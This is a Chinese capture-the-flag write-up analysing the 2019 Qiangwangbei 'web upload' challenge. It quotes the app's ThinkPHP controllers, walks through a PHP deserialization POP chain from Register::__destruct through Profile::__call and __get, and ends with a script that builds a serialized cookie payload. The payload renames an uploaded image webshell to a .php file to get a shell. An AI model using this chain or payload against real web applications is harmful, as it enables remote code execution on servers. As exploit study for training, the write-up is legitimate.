2019强网杯web upload分析


namespace app\web\controller;
use think\Controller;

class Register extends Controller
{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function register()
    {
        if ($this->checker) {
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
            $email = input("post.email", "", "addslashes");
            $password = input("post.password", "", "addslashes");
            $username = input("post.username", "", "addslashes");
            if($this->check_email($email)) {
                if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
                    $user_info = ["email" => $email, "password" => md5($password), "username" => $username];
                    if (db("user")->insert($user_info)) {
                        $this->registed = 1;
                        $this->success('Registed successful!', url('../index'));
                    } else {
                        $this->error('Registed failed!', url('../index'));
                    }
                } else {
                    $this->error('Account already exists!', url('../index'));
                }
            }else{
                $this->error('Email illegal!', url('../index'));
            }
        } else {
            $this->error('Something empty!', url('../index'));
        }
    }

    public function check_email($email){
        $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
        preg_match($pattern, $email, $matches);
        if(empty($matches)){
            return 0;
        }else{
            return 1;
        }
    }

    public function __destruct()
    {
        if(!$this->registed){   
            $this->checker->index();
        }
    }


}

namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {
        $this->checker=new Index();
        $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
        @chdir("../public/upload");
        if(!is_dir($this->upload_menu)){
            @mkdir($this->upload_menu);
        }
        @chdir($this->upload_menu);
    }

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function update_img(){
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    public function update_cookie(){
        $this->checker->profile['img']=$this->img;
        cookie("user",base64_encode(serialize($this->checker->profile)),3600);
    }

    public function ext_check(){
        $ext_arr=explode(".",$this->filename);
        $this->ext=end($ext_arr);
        if($this->ext=="png"){
            return 1;
        }else{
            return 0;
        }
    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
if(!$this->registed){   
            $this->checker->index();

registed 赋值为0

filename_tmp 传上去的一个图片木马
filename 修改为php后缀

if($this->ext) { ext=1
if(!empty($_FILES)){ 不上传文件 绕过 /这里是判断请求中是否在有文件上传的请求
if($this->checker){ if(!$this->checker->login_check()){ 这里会检查是否登陆

目标 调用 profile类中的 upload_img函数
register类

    public function __construct()
    {
        $this->checker=new Index();
    }
    public function __destruct()
    {
        if(!$this->registed){   
            $this->checker->index();
        }
    }

register中checker赋值 new profile() new一个profile类
then
__destruct() 调用 profile中的index函数
但是profile类中 没有index函数
触发profile类中的 __call 方法

name变量 即为index

//$name 为不存在的成员方法名称,$arguments 传入此方法的参数
{$name} 为index
$this->index

//在执行到这个模式方法中的 if 语句的判断时,if($this->index) ,Profile 类不存在 index 属性,所以又去调用__get 方法

except[index]
// 所以这里我们只要控制 $this->except 这个属性的内容就能执行任意成员方法
except = [‘index’=>‘upload_img’]
// 本例中,我们可以在序列化的时候让 $this->except = ['index'=>'upload_img']
$this->{$this->{$name}}($arguments); 这里相当于就是执行了 $this->upload_img(),这样就达到了我们的目的,更改完成了上传的图片马的名称,使我们可以 getshell
index方法不存在
index属性不存在
相当于 index映射到upload_img index就是upload_img
调用index方法不存在 那就调用upload_img 方法吧

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

pop链
index类login_check函数 unserialize 反序列化
Register类 和 profile类
register类 __construct方法
new profile类
__destruct()方法
调用profile类 中index方法
profile类中不存在index方法
自动调用profile类中call方法
then调用profile类中get方法
构造except 调用upload_img方法
绕过两个if
then
filename_tmp
filename 构造
改名为php后缀
成功


namespace app\web\controller;

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

}
class Register
{
    public $checker;
    public $registed;
}
$a = new Register();
$a->registed = 0;
$a->checker = new Profile();
$a->checker->except = ['index'=>'upload_img'];
$a->checker->filename_tmp = './upload/bc9c0f21801e3928b868149bfb65e408/fb5c81ed3a220004b71069645f112867.png';
$a->checker->filename = './upload/bc9c0f21801e3928b868149bfb65e408/2.php';
$a->checker->ext = 1;


echo base64_encode(serialize($a));

你可能感兴趣的:(2019强网杯web upload分析)